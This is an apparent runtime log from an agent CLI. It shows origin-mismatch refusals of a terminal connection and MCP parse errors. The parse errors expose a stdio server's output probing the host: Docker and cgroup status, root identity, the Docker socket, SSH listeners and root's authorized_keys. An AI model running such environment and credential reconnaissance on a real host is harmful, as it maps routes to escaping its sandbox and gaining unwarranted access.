peer=127.0.0.1 2026-08-07 15:26:40,210 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:26:45,211 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:26:50,248 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:26:57,827 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:27:06,837 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:27:15,860 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:27:25,064 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:27:31,186 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-07 15:27:35,359 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-08-25 04:55:44,901 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-08-25 04:56:32,952 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: EOF while parsing an object at line 1 column 1 [type=json_invalid, input_value='{', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,953 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 18 [type=json_invalid, input_value=' "has_dockerenv": false,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,953 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "hostname": "vmi3427693",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,954 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 14 [type=json_invalid, input_value=' "in_docker": false,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,954 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 18 [type=json_invalid, input_value=' "cgroup_sample": "0::/init.scope\\n",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,954 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 17 [type=json_invalid, input_value=' "pid1_cmdline": "/usr/...em --deserialize=106 ",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,954 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 7 [type=json_invalid, input_value=' "id": "uid=0(root) gid...(root) groups=0(root)",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,954 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 11 [type=json_invalid, input_value=' "whoami": "root",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,954 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "uname -a": "Linux vmi...6_64 x86_64 GNU/Linux",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,954 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 16 [type=json_invalid, input_value=' "docker_sock": true,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,954 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 11 [type=json_invalid, input_value=' "ss_ssh": "LISTEN 0 ...emd\\",pid=1,fd=220))",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,955 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 20 [type=json_invalid, input_value=' "sshd_config_err": "Co...n-zero exit status 1.",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,955 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 20 [type=json_invalid, input_value=' "netstat_ssh_err": "Co...n-zero exit status 1.",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,955 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 25 [type=json_invalid, input_value=' "root_authorized_keys": ""', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:32,955 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: expected value at line 1 column 1 [type=json_invalid, input_value='}', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,608 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: EOF while parsing an object at line 1 column 1 [type=json_invalid, input_value='{', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,608 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 18 [type=json_invalid, input_value=' "has_dockerenv": false,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,608 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "hostname": "vmi3427693",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,608 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 14 [type=json_invalid, input_value=' "in_docker": false,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,608 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 18 [type=json_invalid, input_value=' "cgroup_sample": "0::/init.scope\\n",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,609 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 17 [type=json_invalid, input_value=' "pid1_cmdline": "/usr/...em --deserialize=106 ",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,609 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 7 [type=json_invalid, input_value=' "id": "uid=0(root) gid...(root) groups=0(root)",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,609 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 11 [type=json_invalid, input_value=' "whoami": "root",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,609 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 13 [type=json_invalid, input_value=' "uname -a": "Linux vmi...6_64 x86_64 GNU/Linux",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,609 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 16 [type=json_invalid, input_value=' "docker_sock": true,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,609 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 11 [type=json_invalid, input_value=' "ss_ssh": "LISTEN 0 ...emd\\",pid=1,fd=220))",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,609 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 20 [type=json_invalid, input_value=' "sshd_config_err": "Co...n-zero exit status 1.",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,609 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 20 [type=json_invalid, input_value=' "netstat_ssh_err": "Co...n-zero exit status 1.",', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,610 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 25 [type=json_invalid, input_value=' "root_authorized_keys": ""', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:34,610 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: expected value at line 1 column 1 [type=json_invalid, input_value='}', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,667 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: EOF while parsing an object at line 1 column 1 [type=json_invalid, input_value='{', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,667 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pydantic_core._pydantic_core.ValidationError: 1 validation error for JSONRPCMessage Invalid JSON: trailing characters at line 1 column 18 [type=json_invalid, input_value=' "has_dockerenv": false,', input_type=str] For further information visit https://errors.pydantic.dev/2.13/v/json_invalid 2026-08-25 04:56:36,667 ERROR mcp.client.stdio: Failed to parse JSONRPC message from server Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/mcp/client/stdio/__init__.py", line 155, in stdout_reader message = types.JSONRPCMessage.model_validate_json(line) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/pydantic/main.py", line 782, in model_validate_json return cls.__pydantic_validator__.validate_json( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 